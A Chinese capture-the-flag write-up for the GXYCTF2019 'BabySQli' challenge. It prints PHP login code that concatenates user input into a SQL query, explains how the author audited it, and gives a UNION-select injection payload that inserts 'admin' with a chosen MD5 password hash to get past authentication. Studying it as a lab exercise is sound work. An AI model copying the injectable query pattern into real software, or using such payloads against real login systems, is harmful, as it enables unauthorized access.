<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
2 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
3 <title> Do you know who am I?</title>
4 <? php
5 require "config.php" ;
6 require "flag.php" ;
7
8 // 去除转义
9 if ( get_magic_quotes_gpc ()) {
10 function stripslashes_deep( $value )
11 {
12 $value = is_array ( $value ) ?
13 array_map (‘stripslashes_deep‘, $value ) :
14 stripslashes ( $value );
15 return $value ;
16 }
17
18 $_POST = array_map (‘stripslashes_deep‘, $_POST );
19 $_GET = array_map (‘stripslashes_deep‘, $_GET );
20 $_COOKIE = array_map (‘stripslashes_deep‘, $_COOKIE );
21 $_REQUEST = array_map (‘stripslashes_deep‘, $_REQUEST );
22 }
23
24 mysqli_query ( $con ,‘SET NAMES UTF8‘ );
25 $name = $_POST [‘name‘ ];
26 $password = $_POST [‘pw‘ ];
27 $t_pw = md5 ( $password );
28 $sql = "select * from user where username = ‘". $name ."‘" ;
29 // echo $sql;
30 $result = mysqli_query ( $con , $sql );
31
32
33 if ( preg_match ("/\(|\)|\=|or/", $name )){
34 die ("do not hack me!" );
35 }
36 else {
37 if (! $result ) {
38 printf ("Error: %s\n", mysqli_error ( $con ));
39 exit ();
40 }
41 else {
42 // echo ‘<pre>‘;
43 $arr = mysqli_fetch_row ( $result );
44 // print_r($arr);
45 if ( $arr [1] == "admin" ){
46 if ( md5 ( $password ) == $arr [2 ]){
47 echo $flag ;
48 }
49 else {
50 die ("wrong pass!" );
51 }
52 }
53 else {
54 die ("wrong user!" );
55 }
56 }
57 }
58
59 ?>
经过审计看出,关键代码部分
if ( preg_match ("/\(|\)|\=|or/", $name ))//过滤了小括号,or,和等号。
$name = $_POST[‘name‘ ];
$password = $_POST[‘pw‘ ];
$sql = "select * from user where username = ‘". $name."‘" ;
$result = mysqli_query( $con, $sql );
后端接收了账号密码后,居然是直接用接收到的账号作为查询条件进行查询的,查询出来的第二项结果如果不为admin就会die,也就是说输入的账号必须为admin,随后对比admin这行的密码与输入密码是否相等
密码储存方式为md5加密后的密码。
利用联合查询临时插入数据:
select * from user where uname = ‘ zhangge ‘ union select ‘ 1 ‘ , ‘ 2 ‘ , ‘ 3 ‘ ;
此时查询结果出了zhangge那一行,还会多出一行联合查询的字段,作为数据临时插入。
利用这个特性,首先随便选一个密码例如1,md5加密后用它作为临时密码插入。
构造payload:
name=zhangge‘union select 1,‘admin‘,‘c4ca4238a0b923820dcc509a6f75849b‘#&pw=1
[GXYCTF2019]BabySQli 1利用联合查询插入数据
标签:mat cti 代码 mysq 审计 val turn wrong rgb
查看更多关于BabySQli 1利用联合查询插入数据的详细内容...